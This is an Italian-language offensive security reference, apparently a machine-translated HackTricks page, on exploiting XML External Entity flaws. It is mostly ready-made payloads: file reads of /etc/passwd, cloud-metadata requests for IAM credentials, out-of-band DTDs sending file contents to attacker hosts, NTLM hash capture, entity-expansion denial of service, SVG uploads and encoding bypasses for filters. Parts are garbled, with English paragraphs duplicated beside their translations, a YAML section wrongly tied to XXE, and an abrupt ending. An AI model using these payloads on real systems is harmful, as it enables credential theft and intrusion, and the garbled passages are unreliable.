hacktricks/pentesting-web/xxe-xee-xml-external-entity.md
2024-02-10 13:03:23 +00:00

50 KiB

XXE - XEE - Entità Esterna XML

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Concetti di base di XML

XML è un linguaggio di markup progettato per l'archiviazione e il trasporto dei dati, caratterizzato da una struttura flessibile che consente l'uso di tag con nomi descrittivi. Si differenzia dall'HTML per non essere limitato a un insieme di tag predefiniti. Nonostante il suo ruolo iniziale nella tecnologia AJAX, l'importanza di XML è diminuita con l'avvento di JSON.

  • Rappresentazione dei dati tramite entità: Le entità in XML consentono la rappresentazione dei dati, inclusi caratteri speciali come &lt; e &gt;, che corrispondono a < e > per evitare conflitti con il sistema di tag di XML.

  • Definizione degli elementi XML: XML consente la definizione dei tipi di elementi, delineando come gli elementi dovrebbero essere strutturati e quale contenuto possono contenere, che può variare da qualsiasi tipo di contenuto a elementi figlio specifici.

  • Definizione del tipo di documento (DTD): Le DTD sono cruciali in XML per definire la struttura del documento e i tipi di dati che può contenere. Possono essere interne, esterne o una combinazione di entrambe, guidando la formattazione e la convalida dei documenti.

  • Entità personalizzate ed esterne: XML supporta la creazione di entità personalizzate all'interno di una DTD per una rappresentazione flessibile dei dati. Le entità esterne, definite con un URL, sollevano preoccupazioni sulla sicurezza, in particolare nel contesto degli attacchi di Entità Esterna XML (XXE), che sfruttano il modo in cui i parser XML gestiscono le origini dei dati esterni: <!DOCTYPE foo [ <!ENTITY myentity "value" > ]>

  • Rilevamento di XXE con entità di parametro: Per rilevare vulnerabilità XXE, specialmente quando i metodi convenzionali falliscono a causa delle misure di sicurezza del parser, possono essere utilizzate le entità di parametro XML. Queste entità consentono l'utilizzo di tecniche di rilevamento out-of-band, come l'attivazione di ricerche DNS o richieste HTTP a un dominio controllato, per confermare la presenza della vulnerabilità.

  • <!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>

  • <!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>

Principali attacchi

La maggior parte di questi attacchi è stata testata utilizzando i fantastici laboratori XEE di Portswiggers: https://portswigger.net/web-security/xxe

Nuovo test di entità

In questo attacco testerò se una semplice dichiarazione di una nuova ENTITÀ funziona

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY toreplace "3"> ]>
<stockCheck>
<productId>&toreplace;</productId>
<storeId>1</storeId>
</stockCheck>

Leggi il file

Proviamo a leggere /etc/passwd in modi diversi. Per Windows puoi provare a leggere: C:\windows\system32\drivers\etc\hosts

In questo primo caso, nota che SYSTEM "**file:///**etc/passwd" funzionerà anche.

<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
<data>&example;</data>

Questo secondo caso potrebbe essere utile per estrarre un file se il server web sta utilizzando PHP (Non è il caso dei laboratori di Portswiggers)

<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
<data>&example;</data>

In questo terzo caso notiamo che stiamo dichiarando l'Element stockCheck come ANY.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ELEMENT stockCheck ANY>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<stockCheck>
<productId>&file;</productId>
<storeId>1</storeId>
</stockCheck3>

Elenco delle directory

Nelle applicazioni basate su Java potrebbe essere possibile elencare i contenuti di una directory tramite XXE con un payload come (chiedendo solo la directory anziché il file):

<!-- Root / -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>

<!-- /etc/ -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root[<!ENTITY xxe SYSTEM "file:///etc/" >]><root><foo>&xxe;</foo></root>

SSRF

Un XXE potrebbe essere utilizzato per sfruttare un SSRF all'interno di un cloud

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>

Blind SSRF

Utilizzando la tecnica precedentemente commentata puoi fare in modo che il server acceda a un server da te controllato per mostrarne la vulnerabilità. Ma se ciò non funziona, potrebbe essere perché le entità XML non sono consentite, in tal caso potresti provare a utilizzare le entità di parametro XML:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

SSRF "cieco" - Esfiltrare dati fuori banda

In questa occasione faremo in modo che il server carichi una nuova DTD con un payload dannoso che invierà il contenuto di un file tramite una richiesta HTTP (per file su più righe potresti provare a esfiltrarlo tramite ftp://). Questa spiegazione si basa sul laboratorio di Portswiggers qui.

Nella DTD dannosa fornita, vengono eseguiti una serie di passaggi per esfiltrare i dati:

Esempio di DTD dannosa:

La struttura è la seguente:

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;

I passaggi eseguiti da questa DTD includono:

  1. Definizione delle Entità di Parametro:
  • Viene creato un parametro di entità XML, %file, che legge il contenuto del file /etc/hostname.
  • Un'altra entità di parametro XML, %eval, viene definita. Essa dichiara dinamicamente una nuova entità di parametro XML, %exfiltrate. L'entità %exfiltrate viene impostata per effettuare una richiesta HTTP al server dell'attaccante, passando il contenuto dell'entità %file all'interno della stringa di query dell'URL.
  1. Esecuzione delle Entità:
  • Viene utilizzata l'entità %eval, portando all'esecuzione della dichiarazione dinamica dell'entità %exfiltrate.
  • Successivamente, viene utilizzata l'entità %exfiltrate, scatenando una richiesta HTTP all'URL specificato con il contenuto del file.

L'attaccante ospita questa DTD dannosa su un server sotto il suo controllo, tipicamente all'URL http://web-attacker.com/malicious.dtd.

Payload XXE: Per sfruttare un'applicazione vulnerabile, l'attaccante invia un payload XXE:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

Questo payload definisce un'entità di parametro XML %xxe e la incorpora all'interno del DTD. Quando viene elaborato da un parser XML, questo payload recupera il DTD esterno dal server dell'attaccante. Il parser interpreta quindi il DTD in linea, eseguendo i passaggi descritti nel DTD dannoso e portando all'esfiltrazione del file /etc/hostname verso il server dell'attaccante.

Basato su errori (DTD esterno)

In questo caso faremo in modo che il server carichi un DTD dannoso che mostrerà il contenuto di un file all'interno di un messaggio di errore (questo è valido solo se è possibile visualizzare i messaggi di errore). Esempio da qui.

È possibile innescare un messaggio di errore di analisi XML, che rivela il contenuto del file /etc/passwd, utilizzando una definizione di tipo di documento (DTD) esterno dannoso. Ciò viene realizzato attraverso i seguenti passaggi:

  1. Viene definita un'entità di parametro XML chiamata file, che contiene il contenuto del file /etc/passwd.
  2. Viene definita un'entità di parametro XML chiamata eval, che incorpora una dichiarazione dinamica per un'altra entità di parametro XML chiamata error. Questa entità error, quando valutata, tenta di caricare un file inesistente, incorporando il contenuto dell'entità file come nome del file.
  3. Viene invocata l'entità eval, portando alla dichiarazione dinamica dell'entità error.
  4. L'invocazione dell'entità error comporta un tentativo di caricare un file inesistente, producendo un messaggio di errore che include il contenuto del file /etc/passwd come parte del nome del file.

Il DTD esterno dannoso può essere invocato con il seguente XML:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

All'esecuzione, la risposta del server web dovrebbe includere un messaggio di errore che mostra il contenuto del file /etc/passwd.

Si prega di notare che il DTD esterno ci consente di includere un'entità all'interno della seconda (eval), ma è vietato nel DTD interno. Pertanto, non è possibile forzare un errore senza utilizzare un DTD esterno (di solito).

Basato sull'errore (DTD di sistema)

E per quanto riguarda le vulnerabilità XXE cieche quando le interazioni fuori banda sono bloccate (le connessioni esterne non sono disponibili)?.

Una falla nella specifica del linguaggio XML può esporre dati sensibili attraverso messaggi di errore quando il DTD di un documento mescola dichiarazioni interne ed esterne. Questo problema consente la ridefinizione interna di entità dichiarate esternamente, facilitando l'esecuzione di attacchi XXE basati sull'errore. Tali attacchi sfruttano la ridefinizione di un'entità di parametro XML, originariamente dichiarata in un DTD esterno, all'interno di un DTD interno. Quando le connessioni fuori banda sono bloccate dal server, gli attaccanti devono fare affidamento su file DTD locali per condurre l'attacco, mirando a indurre un errore di parsing per rivelare informazioni sensibili.

Considera uno scenario in cui il filesystem del server contiene un file DTD in /usr/local/app/schema.dtd, che definisce un'entità chiamata custom_entity. Un attaccante può indurre un errore di parsing XML che rivela il contenuto del file /etc/passwd inviando un DTD ibrido come segue:

<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
<!ENTITY % custom_entity '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>

I passaggi delineati vengono eseguiti da questa DTD:

  • La definizione di un'entità di parametro XML chiamata local_dtd include il file DTD esterno situato nel filesystem del server.
  • Si verifica una ridefinizione dell'entità di parametro XML custom_entity, originariamente definita nel DTD esterno, per incapsulare un exploit XXE basato su errori. Questa ridefinizione è progettata per provocare un errore di parsing, esponendo il contenuto del file /etc/passwd.
  • Utilizzando l'entità local_dtd, viene coinvolto il DTD esterno, che comprende la nuova entità custom_entity. Questa sequenza di azioni provoca l'emissione del messaggio di errore mirato dall'exploit.

Esempio del mondo reale: I sistemi che utilizzano l'ambiente desktop GNOME spesso hanno un DTD in /usr/share/yelp/dtd/docbookx.dtd che contiene un'entità chiamata ISOamso.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

Poiché questa tecnica utilizza un DTD interno, è necessario prima trovare uno valido. Puoi farlo installando lo stesso OS / Software che il server sta utilizzando e ricercando alcuni DTD predefiniti, oppure ottenendo una lista di DTD predefiniti all'interno dei sistemi e verificando se ne esiste uno tra di loro:

<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd;
]>

Per ulteriori informazioni, consulta https://portswigger.net/web-security/xxe/blind

Trovare DTD all'interno del sistema

Nel seguente repository GitHub fantastico puoi trovare percorsi di DTD che possono essere presenti nel sistema:

{% embed url="https://github.com/GoSecure/dtd-finder/tree/master/list" %}

Inoltre, se hai l'immagine Docker del sistema vittima, puoi utilizzare lo strumento dello stesso repository per scansionare l'immagine e trovare il percorso dei DTD presenti all'interno del sistema. Leggi il Readme del repository GitHub per saperne di più.

java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar

Scanning TAR file /tmp/dadocker.tar

[=] Found a DTD: /tomcat/lib/jsp-api.jar!/jakarta/servlet/jsp/resources/jspxml.dtd
Testing 0 entities : []

[=] Found a DTD: /tomcat/lib/servlet-api.jar!/jakarta/servlet/resources/XMLSchema.dtd
Testing 0 entities : []

XXE tramite parser Office Open XML

Per una spiegazione più approfondita di questo attacco, controlla la seconda sezione di questo incredibile post di Detectify.

Molte applicazioni web offrono la possibilità di caricare documenti Microsoft Office, che vengono poi elaborati per estrarre determinati dettagli da questi documenti. Ad esempio, un'applicazione web potrebbe consentire agli utenti di importare dati caricando un foglio di calcolo nel formato XLSX. Per estrarre i dati dal foglio di calcolo, il parser dovrà inevitabilmente analizzare almeno un file XML.

Per testare questa vulnerabilità, è necessario creare un file Microsoft Office contenente un payload XXE. Il primo passo è creare una directory vuota in cui il documento può essere decompresso.

Una volta che il documento è stato decompresso, il file XML situato in ./unzipped/word/document.xml deve essere aperto e modificato con un editor di testo preferito (come vim). L'XML deve essere modificato per includere il payload XXE desiderato, spesso iniziando con una richiesta HTTP.

Le linee XML modificate devono essere inserite tra i due oggetti XML principali. È importante sostituire l'URL con un URL monitorabile per le richieste.

Infine, il file può essere compresso per creare il file malizioso poc.docx. Dalla directory "unzipped" creata in precedenza, eseguire il seguente comando:

Ora, il file creato può essere caricato nell'applicazione web potenzialmente vulnerabile, e si può sperare che una richiesta appaia nei log di Burp Collaborator.

Protocollo Jar

Il protocollo jar è accessibile esclusivamente all'interno delle applicazioni Java. È progettato per consentire l'accesso ai file all'interno di un archivio PKZIP (ad esempio, .zip, .jar, ecc.), sia per file locali che remoti.

jar:file:///var/myarchive.zip!/file.txt
jar:https://download.host.com/myarchive.zip!/file.txt

{% hint style="danger" %} Per poter accedere ai file all'interno dei file PKZIP è molto utile per sfruttare XXE tramite file DTD di sistema. Controlla questa sezione per imparare come sfruttare i file DTD di sistema. {% endhint %}

Il processo di accesso a un file all'interno di un archivio PKZIP tramite il protocollo jar prevede diversi passaggi:

  1. Viene effettuata una richiesta HTTP per scaricare l'archivio zip da una posizione specificata, come ad esempio https://download.website.com/archive.zip.
  2. La risposta HTTP contenente l'archivio viene temporaneamente memorizzata nel sistema, di solito in una posizione come /tmp/....
  3. L'archivio viene quindi estratto per accedere ai suoi contenuti.
  4. Viene letto il file specifico all'interno dell'archivio, file.zip.
  5. Dopo l'operazione, tutti i file temporanei creati durante questo processo vengono eliminati.

Una tecnica interessante per interrompere questo processo al secondo passaggio prevede di mantenere aperta la connessione del server indefinitamente durante il servizio del file di archivio. Gli strumenti disponibili in questo repository possono essere utilizzati a tale scopo, tra cui un server Python (slow_http_server.py) e un server Java (slowserver.jar).

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd">]>
<foo>&xxe;</foo>

{% hint style="danger" %} Scrivere file in una directory temporanea può aiutare ad escalare un'altra vulnerabilità che coinvolge una traversa del percorso (come l'inclusione di file locali, l'iniezione di template, RCE XSLT, deserializzazione, ecc.). {% endhint %}

XSS

<![CDATA[<]]>script<![CDATA[>]]>alert(1)<![CDATA[<]]>/script<![CDATA[>]]>

DoS

Attacco Billion Laugh

L'attacco Billion Laugh è una forma di attacco Denial of Service (DoS) che sfrutta una vulnerabilità nelle applicazioni che analizzano documenti XML. Questo attacco sfrutta la funzionalità di espansione delle entità esterne (XXE) per creare un loop infinito di entità XML, sovraccaricando il sistema target e causando un'interruzione del servizio.

L'attacco prende il nome dal fatto che utilizza una struttura a cascata di entità XML, in cui ogni entità si riferisce a un'altra entità, creando un effetto a catena che si espande esponenzialmente. Questo può causare un consumo eccessivo di risorse del sistema, come la CPU e la memoria, portando alla saturazione del sistema e alla sua incapacità di rispondere alle richieste legittime degli utenti.

Per proteggersi da questo tipo di attacco, è consigliabile implementare controlli di sicurezza adeguati, come la validazione e la sanitizzazione dei dati di input, nonché l'utilizzo di parser XML sicuri che disabilitano l'espansione delle entità esterne. Inoltre, è importante tenere aggiornati i software e le librerie utilizzate per analizzare i documenti XML, in modo da beneficiare delle patch di sicurezza più recenti.

<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>

Attacco Yaml

The YAML attack is a technique used to exploit vulnerabilities in applications that parse YAML files. YAML (YAML Ain't Markup Language) is a human-readable data serialization format commonly used for configuration files.

L'attacco YAML è una tecnica utilizzata per sfruttare le vulnerabilità nelle applicazioni che analizzano i file YAML. YAML (YAML Ain't Markup Language) è un formato di serializzazione dei dati leggibile dall'uomo comunemente utilizzato per i file di configurazione.

In a YAML attack, an attacker crafts a malicious YAML file containing specially crafted data that can be interpreted by the application in unintended ways. This can lead to various security issues, such as remote code execution, denial of service, or information disclosure.

In un attacco YAML, un attaccante crea un file YAML malevolo contenente dati appositamente creati che possono essere interpretati dall'applicazione in modi non intenzionali. Ciò può portare a vari problemi di sicurezza, come l'esecuzione remota di codice, il rifiuto del servizio o la divulgazione di informazioni.

One common vulnerability that can be exploited through a YAML attack is the XML External Entity (XXE) vulnerability. This vulnerability occurs when an application parses XML data without properly validating or sanitizing it, allowing an attacker to include external entities or access sensitive files on the server.

Una vulnerabilità comune che può essere sfruttata attraverso un attacco YAML è la vulnerabilità delle Entità Esterne XML (XXE). Questa vulnerabilità si verifica quando un'applicazione analizza dati XML senza una corretta convalida o sanificazione, consentendo a un attaccante di includere entità esterne o accedere a file sensibili sul server.

To protect against YAML attacks, it is important to implement proper input validation and sanitization techniques. Applications should also avoid parsing user-supplied YAML files or should use secure parsers that do not evaluate external entities.

Per proteggersi dagli attacchi YAML, è importante implementare tecniche adeguate di convalida e sanificazione degli input. Le applicazioni dovrebbero anche evitare di analizzare file YAML forniti dall'utente o dovrebbero utilizzare parser sicuri che non valutano entità esterne.

Overall, understanding and mitigating YAML attacks is crucial for ensuring the security of applications that parse YAML files. By following secure coding practices and regularly updating software dependencies, developers can reduce the risk of exploitation.

a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]

Attacco di esplosione quadratica

Ottenere NTML

Su host Windows è possibile ottenere l'hash NTML dell'utente del server web impostando un gestore responder.py:

Responder.py -I eth0 -v

e inviando la seguente richiesta

<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM 'file://///attackerIp//randomDir/random.jpg'> ]>
<data>&example;</data>

Quindi puoi provare a craccare l'hash utilizzando hashcat

Superfici XXE nascoste

XInclude

Quando si integra dei dati client in documenti XML lato server, come quelli nelle richieste SOAP di backend, il controllo diretto sulla struttura XML è spesso limitato, ostacolando gli attacchi XXE tradizionali a causa delle restrizioni sulla modifica dell'elemento DOCTYPE. Tuttavia, un attacco XInclude fornisce una soluzione consentendo l'inserimento di entità esterne all'interno di qualsiasi elemento dati del documento XML. Questo metodo è efficace anche quando è possibile controllare solo una parte dei dati all'interno di un documento XML generato dal server.

Per eseguire un attacco XInclude, è necessario dichiarare il namespace XInclude e specificare il percorso del file per l'entità esterna desiderata. Di seguito è riportato un esempio sintetico di come può essere formulato un tale attacco:

productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1

Controlla https://portswigger.net/web-security/xxe per ulteriori informazioni!

SVG - Caricamento di file

I file caricati dagli utenti su determinate applicazioni, che vengono quindi elaborati sul server, possono sfruttare vulnerabilità nella gestione di file XML o file contenenti XML. I formati di file comuni come i documenti di Office (DOCX) e le immagini (SVG) si basano su XML.

Quando gli utenti caricano immagini, queste immagini vengono elaborate o convalidate lato server. Anche per le applicazioni che si aspettano formati come PNG o JPEG, la libreria di elaborazione delle immagini del server potrebbe supportare anche immagini SVG. SVG, essendo un formato basato su XML, può essere sfruttato dagli attaccanti per inviare immagini SVG dannose, esponendo così il server a vulnerabilità di XXE (XML External Entity).

Di seguito viene mostrato un esempio di tale exploit, in cui un'immagine SVG dannosa tenta di leggere file di sistema:

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>

Un altro metodo consiste nel tentare di eseguire comandi tramite l'incapsulamento PHP "expect":

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
<image xlink:href="expect://ls"></image>
</svg>

In entrambi i casi, il formato SVG viene utilizzato per lanciare attacchi che sfruttano le capacità di elaborazione XML del software del server, evidenziando la necessità di una robusta convalida degli input e misure di sicurezza.

Controlla https://portswigger.net/web-security/xxe per ulteriori informazioni!

Nota che la prima riga del file letto o del risultato dell'esecuzione apparirà ALL'INTERNO dell'immagine creata. Quindi è necessario essere in grado di accedere all'immagine creata da SVG.

PDF - Caricamento file

Leggi il seguente post per imparare come sfruttare un XXE caricando un file PDF:

{% content-ref url="file-upload/pdf-upload-xxe-and-cors-bypass.md" %} pdf-upload-xxe-and-cors-bypass.md {% endcontent-ref %}

Content-Type: Da x-www-urlencoded a XML

Se una richiesta POST accetta i dati in formato XML, potresti provare a sfruttare un XXE in quella richiesta. Ad esempio, se una richiesta normale contiene quanto segue:

POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7

foo=bar

Allora potresti provare a inviare la seguente richiesta, ottenendo lo stesso risultato:

POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52

<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>

Content-Type: Da JSON a XEE

Per modificare la richiesta, è possibile utilizzare un'estensione di Burp chiamata "Content Type Converter". Qui puoi trovare questo esempio:

Content-Type: application/json;charset=UTF-8

{"root": {"root": {
"firstName": "Avinash",
"lastName": "",
"country": "United States",
"city": "ddd",
"postalCode": "ddd"
}}}
Content-Type: application/xml;charset=UTF-8

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE testingxxe [<!ENTITY xxe SYSTEM "http://34.229.92.127:8000/TEST.ext" >]>
<root>
<root>
<firstName>&xxe;</firstName>
<lastName/>
<country>United States</country>
<city>ddd</city>
<postalCode>ddd</postalCode>
</root>
</root>

Un altro esempio può essere trovato qui.

Bypass di WAF e Protezioni

Base64

<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>

Questo funziona solo se il server XML accetta il protocollo data://.

UTF-7

Puoi utilizzare la ["Ricetta di codifica" di cyberchef qui ]([https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7 %2865000%29'%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7 %2865000%29'%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to) trasformare in UTF-7.

<!xml version="1.0" encoding="UTF-7"?-->
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4

Bypass del protocollo File:/

Se il sito web utilizza PHP, invece di utilizzare file:/ puoi utilizzare i wrapper php php://filter/convert.base64-encode/resource= per accedere ai file interni.

Se il sito web utilizza Java, puoi verificare il protocollo jar.

Entità HTML

Trucco da https://github.com/Ambrotd/XXE-Notes
Puoi creare una entità all'interno di un'altra entità codificandola con entità HTML e quindi richiamarla per caricare un dtd.
Nota che le entità HTML utilizzate devono essere numeriche (come nell'esempio seguente: [in questo esempio](https://gchq.github.io/CyberChef/#recipe=To_HTML_Entity%28true,'Numeric entities'%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\).

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "&#x3C;&#x21;&#x45;&#x4E;&#x54;&#x49;&#x54;&#x59;&#x25;&#x64;&#x74;&#x64;&#x53;&#x59;&#x53;&#x54;&#x45;&#x4D;&#x22;&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x6F;&#x75;&#x72;&#x73;&#x65;&#x72;&#x76;&#x65;&#x72;&#x2E;&#x63;&#x6F;&#x6D;&#x2F;&#x62;&#x79;&#x70;&#x61;&#x73;&#x73;&#x2E;&#x64;&#x74;&#x64;&#x22;&#x3E;" >%a;%dtd;]>
<data>
<env>&exfil;</env>
</data>

Esempio DTD:

<!DOCTYPE foo [
  <!ELEMENT foo ANY>
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>

Questo è un esempio di un attacco di XXE (XML External Entity) che sfrutta una vulnerabilità nel parsing di un documento XML. In questo caso, viene definito un documento DTD (Document Type Definition) che specifica l'elemento "foo" come qualsiasi cosa e l'entità "xxe" che fa riferimento al file "/etc/passwd" del sistema. Successivamente, l'entità "xxe" viene richiamata all'interno dell'elemento "foo". Quando il parser XML elabora questo documento, cerca di risolvere l'entità "xxe" e quindi legge il contenuto del file "/etc/passwd", che potrebbe contenere informazioni sensibili come nomi utente e password. Questo attacco può essere utilizzato per ottenere informazioni riservate o eseguire altre azioni dannose sul sistema di destinazione.

<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/flag">
<!ENTITY % abt "<!ENTITY exfil SYSTEM 'http://172.17.0.1:7878/bypass.xml?%data;'>">
%abt;
%exfil;

Wrapper PHP

Base64

Estrai index.php

<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>

Estrazione di risorse esterne

An XML External Entity (XXE) attack is a type of vulnerability that allows an attacker to extract data from the server or perform other malicious actions by exploiting the way XML parsers process external entities.

Un attacco di Entità Esterna XML (XXE) è un tipo di vulnerabilità che consente a un attaccante di estrarre dati dal server o di eseguire altre azioni malevole sfruttando il modo in cui i parser XML elaborano le entità esterne.

In an XXE attack, the attacker crafts a malicious XML input that includes a reference to an external entity. When the XML is parsed, the parser attempts to resolve the external entity, which can lead to the disclosure of sensitive information or the execution of arbitrary code.

In un attacco XXE, l'attaccante crea un input XML malevolo che include un riferimento a un'entità esterna. Quando l'XML viene analizzato, il parser tenta di risolvere l'entità esterna, il che può portare alla divulgazione di informazioni sensibili o all'esecuzione di codice arbitrario.

There are different techniques to exploit XXE vulnerabilities, such as:

Esistono diverse tecniche per sfruttare le vulnerabilità XXE, come:

  • Parameter Entity Expansion (PXE): This technique involves expanding parameter entities to read files from the server's filesystem or perform other actions.

  • Espansione di Entità Parametro (PXE): Questa tecnica prevede l'espansione delle entità parametriche per leggere file dal filesystem del server o eseguire altre azioni.

  • External Document Type Definition (DTD) Retrieval: By referencing an external DTD, an attacker can retrieve sensitive files or perform actions based on the DTD's content.

  • Recupero di Definizioni di Tipo di Documento Esterno (DTD): Referenziando una DTD esterna, un attaccante può recuperare file sensibili o eseguire azioni basate sul contenuto della DTD.

  • Blind XXE: In this technique, the attacker does not receive the response directly, but can infer information based on the application's behavior.

  • XXE Cieco: In questa tecnica, l'attaccante non riceve la risposta direttamente, ma può dedurre informazioni in base al comportamento dell'applicazione.

To prevent XXE attacks, it is important to:

Per prevenire gli attacchi XXE, è importante:

  • Disable external entity processing in XML parsers or configure them to only allow trusted entities.

  • Disabilitare l'elaborazione delle entità esterne nei parser XML o configurarli in modo da consentire solo entità affidabili.

  • Use whitelisting to restrict the types of entities that can be parsed.

  • Utilizzare una lista bianca per limitare i tipi di entità che possono essere analizzate.

  • Validate and sanitize user input to prevent malicious XML from being processed.

  • Validare e sanificare l'input dell'utente per evitare che XML malevoli vengano elaborati.

  • Keep XML parsers and libraries up to date to benefit from security patches and improvements.

  • Mantenere aggiornati i parser XML e le librerie per beneficiare di patch di sicurezza e miglioramenti.

<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://10.0.0.3"> ]>

Esecuzione remota del codice

Se il modulo "expect" di PHP è caricato

